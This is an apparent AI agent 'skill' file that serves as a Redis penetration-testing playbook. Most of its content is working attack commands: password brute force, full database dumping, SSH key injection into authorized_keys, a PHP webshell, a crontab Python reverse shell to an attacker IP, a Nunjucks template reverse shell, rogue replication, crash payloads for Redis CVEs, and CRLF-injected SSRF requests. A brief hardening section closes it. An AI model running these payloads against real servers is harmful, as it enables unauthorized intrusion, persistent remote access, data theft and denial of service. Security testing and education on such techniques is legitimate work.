Redis Pentesting Skill
A comprehensive skill for testing Redis instances for security vulnerabilities, from enumeration to remote code execution.
When to Use This Skill
Use this skill when:
- You need to test a Redis instance (default port 6379)
- You're doing penetration testing on a target with Redis exposed
- You need to enumerate Redis databases and keys
- You want to check for authentication bypass or weak credentials
- You need to exploit Redis misconfigurations for RCE
- You're testing for Redis-specific CVEs
- You have SSRF access to a Redis instance
Quick Start
# Basic connection test
redis-cli -h <target> -p 6379
# Or with netcat for raw protocol access
nc -vn <target> 6379
Enumeration
Automatic Enumeration
Use these tools for initial reconnaissance:
# Nmap redis-info script
nmap --script redis-info -sV -p 6379 <target>
# Metasploit scanner
msfconsole
use auxiliary/scanner/redis/redis_server
set RHOSTS <target>
run
Manual Enumeration
Connect and run basic commands:
# Connect with redis-cli
redis-cli -h <target> -p 6379
# Get server information
INFO
# Check connected clients
CLIENT LIST
# Get configuration (may be restricted)
CONFIG GET *
# Monitor commands in real-time
MONITOR
# Get slow queries
SLOWLOG GET 25
Check Authentication Status
# Try INFO without auth - if you get:
# -NOAUTH Authentication required.
# Then credentials are needed
# If you get server info, Redis is unauthenticated
Authentication Testing
Default Credentials
Redis often runs without authentication by default. If authentication is required:
# Try common passwords
AUTH default
AUTH default password
AUTH default password123
AUTH default admin
AUTH default redis
# Or with username:password format
AUTH <username> <password>
Brute Force
If you suspect authentication is enabled, use brute force tools:
# Using redis-cli with wordlist
for pass in $(cat wordlist.txt); do
redis-cli -h <target> -a "$pass" PING 2>/dev/null && echo "Password: $pass" && break
done
Database Enumeration
Find Active Databases
# Check which databases have data
INFO keyspace
# Select a database (0-15 by default)
SELECT 0
SELECT 1
# etc.
# List all keys in current database
KEYS *
# Get key type
TYPE <key>
# Get key value (for strings)
GET <key>
# Get list items
LRANGE <key> 0 -1
# Get hash items
HGET <key> <field>
HGETALL <key>
# For complex types, use DUMP
DUMP <key>
Dump Entire Database
# Using redis-dump (npm)
npm install -g redis-dump
redis-dump -h <target> -p 6379 -o dump.rdb
# Using redis-utils (python)
pip install redis-utils
redis-dump -h <target> -p 6379 -o dump.rdb
Remote Code Execution Techniques
Technique 1: SSH Key Injection
This is the most reliable RCE method when you can write to the Redis user's home directory.
# 1. Generate SSH key pair
ssh-keygen -t rsa -f redis_exploit -N ""
# 2. Format the public key with newlines
echo -e "\n\n" > spaced_key.txt
cat redis_exploit.pub >> spaced_key.txt
echo -e "\n\n" >> spaced_key.txt
# 3. Import into Redis
cat spaced_key.txt | redis-cli -h <target> -x set ssh_key
# 4. Write to authorized_keys
redis-cli -h <target>
CONFIG SET dir /var/lib/redis/.ssh
CONFIG SET dbfilename authorized_keys
SAVE
# 5. Connect via SSH
ssh -i redis_exploit redis@<target>
Alternative user discovery:
# Try common user home directories
redis-cli -h <target> CONFIG SET dir /home/<username>/.ssh
redis-cli -h <target> CONFIG SET dbfilename authorized_keys
redis-cli -h <target> SAVE
Technique 2: PHP Webshell
When you know the web root path:
redis-cli -h <target>
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET payload "<?php system(\$_GET['cmd']); ?>"
SAVE
# Access via browser
# http://<target>/shell.php?cmd=id
Technique 3: Crontab Injection
# Create reverse shell payload
echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<attacker_ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n" | redis-cli -h <target> -x set cronjob
# Write to crontab
redis-cli -h <target> CONFIG SET dir /var/spool/cron/crontabs/
redis-cli -h <target> CONFIG SET dbfilename root
redis-cli -h <target> SAVE
# For CentOS:
# redis-cli -h <target> CONFIG SET dir /var/spool/cron/
Technique 4: Template Injection
For applications using template engines (Jinja2, Nunjucks, etc.):
# Nunjucks reverse shell
redis-cli -h <target>
CONFIG SET dir /path/to/templates
CONFIG SET dbfilename template.html
SET payload '{{ ({}).constructor.constructor("var net = global.process.mainModule.require('net'), cp = global.process.mainModule.require('child_process'), sh = cp.spawn('sh', []); var client = new net.Socket(); client.connect(<port>, '<attacker_ip>', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); });")() }}'
SAVE
Technique 5: Master-Slave Replication
Force the target to replicate from your controlled Redis server:
# On your machine, start a Redis server
redis-server --port 6379
# On target, force replication
redis-cli -h <target>
SLAVEOF <your_ip> 6379
# Now commands on your Redis sync to target
redis-cli -h localhost
CONFIG SET dir /var/lib/redis/.ssh
CONFIG SET dbfilename authorized_keys
SET <your_public_key>
SAVE
CVE Exploitation
CVE-2025-49844 - Lua Parser Use-After-Free
Affected versions: < 8.2.2, < 8.0.4, < 7.4.6, < 7.2.11, < 6.2.20
# Test for vulnerability (may crash server)
redis-cli -h <target> -a <password> EVAL "\nlocal a = string.rep('asdf', 65536); \ncollectgarbage('collect'); \nlocal src = string.rep('x', 1024 * 1024); \nlocal f = loadstring(src); \nreturn 'done'" 0
# If server crashes, it's vulnerable
CVE-2025-46817 - Integer Overflow in unpack
Affected versions: < 8.2.2, < 8.0.4, < 7.4.6, < 7.2.11, < 6.2.20
# Test for vulnerability (DoS)
redis-cli -h <target> -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0
# Server should crash or OOM if vulnerable
CVE-2025-46818 - Metatable Poisoning
Affected versions: < 8.2.2, < 8.0.4, < 7.4.6, < 7.2.11, < 6.2.20
# Test for metatable poisoning
redis-cli -h <target> -a <password> EVAL "\ngetmetatable('').__index = function(_, key) \n if key == 'testfunc' then \n return function() return 'testfuncoutput' end \n end \nend; \nreturn ('teststring').testfunc()" 0
# Returns 'testfuncoutput' if vulnerable
SSRF to Redis
If you have SSRF access, you can send Redis commands directly:
# Basic SSRF payload
GET /?url=redis://127.0.0.1:6379/ HTTP/1.1
Host: target
# With CRLF injection for multi-command
GET /?url=redis://127.0.0.1:6379/%0D%0A%20multi%0D%0A%20set%20test%20value%0D%0A%20exec%0D%0A HTTP/1.1
Host: target
Security Hardening Recommendations
After testing, recommend these fixes:
Enable authentication:
requirepass strong_password_hereBind to localhost only:
bind 127.0.0.1Disable dangerous commands:
rename-command FLUSHDB "" rename-command FLUSHALL "" rename-command CONFIG "" rename-command DEBUG ""Use TLS/SSL:
tls-port 6379 port 0 tls-cert-file /path/to/cert.pem tls-key-file /path/to/key.pemSet memory limits:
maxmemory 256mb maxmemory-policy allkeys-lru
Useful Commands Reference
| Command | Description |
|---|---|
INFO |
Server information |
CLIENT LIST |
Connected clients |
CONFIG GET * |
Configuration |
KEYS * |
All keys (use cautiously) |
TYPE <key> |
Key data type |
GET <key> |
String value |
HGETALL <key> |
Hash fields |
LRANGE <key> 0 -1 |
List items |
DUMP <key> |
Raw value dump |
MONITOR |
Real-time command log |
SLOWLOG GET 25 |
Slow queries |
MODULE LIST |
Loaded modules |
Tools
redis-cli- Official Redis CLInmap- Port scanning with redis-info scriptredis-dump- Database backup toolredis-rogue-server- Rogue server for RCEredis-rce-ssh- Automated SSH key injection
Notes
- Redis uses a text-based protocol - you can communicate via netcat
- Default port is 6379, but can be changed
- Databases are numbered 0-15 by default
- Commands can be renamed or disabled in redis.conf
- Some template engines cache templates - may need to restart service
- Always check
CONFIG GET direarly to know where Redis can write - The
savecommand writes the current database to disk - Use
SELECT <db>to switch databases before operations